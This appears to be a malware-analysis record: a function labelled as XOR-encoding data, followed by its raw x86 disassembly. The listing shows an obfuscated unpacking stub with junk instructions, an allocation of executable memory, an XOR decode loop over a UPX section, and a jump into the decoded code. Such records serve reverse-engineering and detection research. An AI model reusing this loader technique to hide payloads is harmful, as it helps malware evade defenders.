Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x66c3b700
mov ebx, 0xb9de5b4f
or ebx, ebx
add edx, 0x43903f7f
popal
add ebx, edx
not ebx
mov ebx, 0
mov eax, edi
dec esi
add edx, 0x5ff61e9a
mov edx, esi
mov ecx, eax
and esi, edx
sub esi, 0xb1cab472
mov edi, ecx
add edx, 0xa4d20b63
add edx, 0xbb93bb4b
inc ebx
add edx, esi
add edx, esi
sub esi, edx
cmp ebx, 0x10015af
jne 0x47afd5
add esi, 1
or esi, edx
sub esi, 0x3678ebeb
cmp ebx, 0x10015af
je 0x47b028
mov ebx, 0
mov byte [ebx], al
not edx
add esi, esi
add edx, ebx
mov edx, ebx
mov ebx, edx
mov esi, 0x47ada2
and ebx, edi
not eax
mov edx, 0x47af96
dec eax
mov ebx, 0x9744967b
add ebx, 1
mov ecx, dword [esi]
inc edi
mov ebx, 0xcff3fefa
and ecx, 0xff
sub eax, 0x26201b83
mov eax, edi
xor dword [edx], ecx
and edi, edi
add eax, 1
inc edx
mov ebx, 0x3116c914
sub edi, eax
mov eax, 0x8e69e7f7
inc esi
add ebx, 1
and ebx, eax
dec edi
cmp edx, entry0
jl 0x47b04c
sub eax, ebx
sub edi, 0x2fc4ee1b
and eax, ebx
sub edi, 0x5cd2a976
mov edi, 0x2762bb1d
add ebx, 0xfb5b6f9b
mov edi, edx
mov esi, 0x47af9a
and edx, ebx
mov edx, 0x871e51b1
mov esi, dword [esi]
not ecx
mov edx, 0x54f511a2
mov esi, dword [esi]
add ebx, 0xfa24b21e
or edx, edi
push esi
sub edx, ecx
mov edi, edx
sub ebx, edi
mov esi, 0x47af96
or edi, edx
mov edi, 0xccd4ecfb
add edi, edi
mov esi, dword [esi]
add ebx, ecx
not ecx
mov ecx, 0x50e80ad
mov esi, dword [esi]
add edi, ebx
mov ebx, edi
push 0x47af9e
add ebx, 1
add edi, 0xa9be1b3f
call esi
and ebx, edx
not ecx
add edx, 0x6361f514
mov esi, dword [esp]
add esp, 4
dec edx
sub edi, 0xfe8b7714
inc edi
push 0x47afab
mov edx, 0x8d6f1d3a
sub ecx, 0xd3ba910a
sub esp, 4
mov dword [esp], eax
sub edi, 0xfe24cbb1
or ebx, ecx
call esi
add ecx, edi
mov ecx, ebx
sub esp, 4
mov dword [esp], 0x40
sub edi, 0xeb9099da
mov edx, ecx
sub ebx, edi
push 0x3000
not ecx
dec ecx
push 0x200000a8
and edx, ecx
inc edi
add ebx, 0xfab13fea
push 0
add edi, ebx
sub ecx, edx
sub ebx, 0xe691d7bd
call eax
mov edx, ebx
add edi, 0x75f3fe34
add eax, 0x1fffffec
not ebx
inc ecx
mov esi, 0xc5511995
sub ecx, 0xaa0aaf9e
sub ecx, ebx
sub ebx, 0x8b9d08cb
mov dword [eax], esi
inc edx
and ecx, edx
mov esi, dword [eax]
add ecx, 0x83cf45bb
and edi, edi
cmp esi, 0xc5511995
je 0x47b1bd
mov edx, 0
mov dword [edx], eax
inc edi
add ebx, edi
mov edi, ecx
mov edx, ebx
mov ebx, 0xf6654d82
not edx
sub edx, 0xd68f5960
mov ecx, section.UPX1
add edx, 1
add edx, edx
mov edx, 0x26d4fdfa
mov edi, 0x47ada1
add ebx, ebx
sub edx, 1
mov eax, 0
sub edx, 0xf1b6756c
add edx, 0x6a373a60
mov esi, 0x47ada2
dec edx
not ebx
dec edx
lea esi, [eax + esi]
mov ebx, 0x7bcda67b
sub edx, 0x8766c6ea
mov esi, dword [esi]
add ebx, 0x88d19c8a
add ebx, 0x1d33f5df
add ebx, edx
and esi, 0xff
sub edx, 0xd424f229
or ebx, edx
inc ebx
add eax, 1
add edx, 0x4026ce7f
add ebx, 0xa87be82d
sub ebx, 0x66de1407
cmp eax, 0x1f4
jne 0x47b25c
mov eax, 0
not edx
not ebx
mov ebx, 0x11fb50bb
inc edx
and ebx, edx
xor dword [ecx], esi
add edx, 1
or ebx, ebx
add edx, ebx
add ecx, 2
mov ebx, edx
dec edx
not ebx
cmp ecx, edi
jl 0x47b201
add ebx, 0xd7c8125e
add ebx, ebx
inc ebx
sub ebx, 0x2434a569
mov esi, section.UPX1
not ebx
add edx, ebx
mov edi, section.UPX1
inc ebx
or edx, edx
mov ecx, 0x47ada1
mov ebx, 0x6b239e83
inc ebx
mov edx, ebx
mov eax, 0
mov edx, ebx
sub ebx, 0xb29be68f
sub ebx, 1
mov al, byte [edi]
sub ebx, edx
inc edx
mov byte [esi], al
add edx, 0xd644cdd1
dec edx
inc esi
sub ebx, edx
mov edx, ebx
add edi, 2
add edx, 0x68c7598d
mov ebx, 0x9a1bbbb4
cmp edi, ecx
jle 0x47b2c7
or edx, ebx
and ebx, ebx
add edx, edx
not edx
sub esp, 4
mov dword [esp], 0x45e6a0
sub ebx, edx
add ebx, ebx
mov ebx, 0xa3cd9344
ret